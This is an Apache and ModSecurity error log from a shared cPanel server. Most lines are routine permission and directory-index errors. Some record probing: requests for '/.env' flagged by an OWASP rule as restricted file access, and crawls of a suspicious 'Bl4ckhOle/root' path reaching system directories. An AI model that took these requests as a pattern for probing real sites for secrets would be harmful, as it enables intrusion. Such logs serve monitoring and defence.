[Fri Jul 17 10:09:21.162933 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almx-Yl9vhFBGA6D8l-HAwAAAAw"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:09:23.539819 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:55894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:27.330245 2026] [autoindex:error] [pid 2018768:tid 2018768] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:28.409584 2026] [autoindex:error] [pid 2060590:tid 2060590] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:37.654519 2026] [security2:error] [pid 2060590:tid 2060590] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almyCHv42nOn2tp5Eua2vQAAABA"]
[Fri Jul 17 10:09:37.654559 2026] [security2:error] [pid 2060590:tid 2060590] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almyCHv42nOn2tp5Eua2vQAAABA"]
[Fri Jul 17 10:09:40.126051 2026] [cgi:error] [pid 2039911:tid 2039911] [client 20.226.66.230:0] AH02812: stderr from /home/stravel1/public_html/rehanseo.online/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 10:09:40.511766 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyDNKHXJzatLSGO6ItigAAABU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:09:40.511799 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyDNKHXJzatLSGO6ItigAAABU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:09:41.355464 2026] [autoindex:error] [pid 2065296:tid 2065296] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:42.012084 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:43836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:42.156369 2026] [security2:error] [pid 2065296:tid 2065296] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almyDaalZQB2GOvLY17ddAAAAAc"]
[Fri Jul 17 10:09:42.156417 2026] [security2:error] [pid 2065296:tid 2065296] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "rehanseo.online"] [uri "/index.php"] [unique_id "almyDaalZQB2GOvLY17ddAAAAAc"]
[Fri Jul 17 10:09:42.319724 2026] [autoindex:error] [pid 2063463:tid 2063463] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:42.556152 2026] [ssl:error] [pid 2068138:tid 2068138] (5)Input/output error: [client 66.85.158.91:43892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:43.640337 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:43.650874 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:43.749707 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:44.001766 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:44.005967 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:44.784366 2026] [autoindex:error] [pid 2029579:tid 2029579] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:45.586555 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:45.832193 2026] [autoindex:error] [pid 2063883:tid 2063883] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:46.089638 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:46.143772 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:46.350015 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:46.476453 2026] [core:error] [pid 2064879:tid 2064879] (13)Permission denied: [client 47.82.14.82:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0c/subsystem/uevent
[Fri Jul 17 10:09:46.793533 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:44096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:47.031704 2026] [autoindex:error] [pid 2063436:tid 2063436] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:09:47.189292 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:47.213135 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:48.203525 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:44196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:48.704624 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.157711 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.192773 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.294672 2026] [core:error] [pid 2063436:tid 2063436] (13)Permission denied: [client 47.79.15.116:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/run/dovecot/dovecot.conf.binary
[Fri Jul 17 10:09:49.310432 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.337622 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.440337 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:49.450604 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:50.954577 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:50.977441 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:51.199551 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:51.206329 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:51.265160 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:51.338566 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:09:52.843229 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory94/node0/memory90/node0/memory133/node0/memory6/"] [unique_id "almyGCRF0UOO1RzB5_872wAAAA4"]
[Fri Jul 17 10:09:52.843263 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory94/node0/memory90/node0/memory133/node0/memory6/"] [unique_id "almyGCRF0UOO1RzB5_872wAAAA4"]
[Fri Jul 17 10:09:54.945608 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:60770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:09:56.288989 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyHCRF0UOO1RzB5_873QAAAA4"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:09:56.289033 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyHCRF0UOO1RzB5_873QAAAA4"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:09:56.665538 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2016/vol_43_no_10-english.pdf"] [unique_id "almyHHqWRBnLzLzgwXg0TAAAAAQ"]
[Fri Jul 17 10:09:56.665909 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2016/vol_43_no_10-english.pdf"] [unique_id "almyHHqWRBnLzLzgwXg0TAAAAAQ"]
[Fri Jul 17 10:09:56.666224 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2016/vol_43_no_10-english.pdf"] [unique_id "almyHHqWRBnLzLzgwXg0TAAAAAQ"]
[Fri Jul 17 10:09:57.588947 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2021/vol_48_no_11-english.pdf"] [unique_id "almyHYQPslXM9Iu5soRsZwAAAAg"]
[Fri Jul 17 10:09:57.589329 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2021/vol_48_no_11-english.pdf"] [unique_id "almyHYQPslXM9Iu5soRsZwAAAAg"]
[Fri Jul 17 10:09:57.589681 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2021/vol_48_no_11-english.pdf"] [unique_id "almyHYQPslXM9Iu5soRsZwAAAAg"]
[Fri Jul 17 10:09:58.777743 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:60912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:00.895993 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:60984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:00.911443 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 57.141.18.72:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory93/subsystem/devices/memory45/subsystem/devices/memory64/subsystem/uevent
[Fri Jul 17 10:10:04.175339 2026] [autoindex:error] [pid 2029579:tid 2029579] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:06.643558 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almyJY-0g_VSPeIeFN3NfAAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1024&page_105=1362
[Fri Jul 17 10:10:06.643609 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almyJY-0g_VSPeIeFN3NfAAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1024&page_105=1362
[Fri Jul 17 10:10:07.021844 2026] [autoindex:error] [pid 2063889:tid 2063889] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:07.944411 2026] [autoindex:error] [pid 2039911:tid 2039911] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:11.721589 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:11.729795 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:11.826083 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:11.867511 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:11.971984 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:12.082975 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:15.569298 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:15.751846 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:15.856916 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:15.956613 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:16.057595 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:17.951747 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:52466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:20.435608 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:52564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:20.721482 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:52580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:22.644591 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:36084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:23.922174 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory4/node0/memory2/node0/"] [unique_id "almyN5BVIrrUwtEhdafeOQAAAAU"]
[Fri Jul 17 10:10:23.922205 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory4/node0/memory2/node0/"] [unique_id "almyN5BVIrrUwtEhdafeOQAAAAU"]
[Fri Jul 17 10:10:24.400451 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:36158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:24.473517 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:36186] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:25.592825 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:36214] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:27.970014 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almyO4l9vhFBGA6D8l-HKgAAAAw"]
[Fri Jul 17 10:10:27.970263 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almyO4l9vhFBGA6D8l-HKgAAAAw"]
[Fri Jul 17 10:10:28.022135 2026] [security2:error] [pid 1993572:tid 1993572] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almyO4l9vhFBGA6D8l-HKgAAAAw"]
[Fri Jul 17 10:10:28.412280 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.env"] [unique_id "almyPGTem5UnhuySh-0oiAAAAAA"]
[Fri Jul 17 10:10:28.412574 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.env"] [unique_id "almyPGTem5UnhuySh-0oiAAAAAA"]
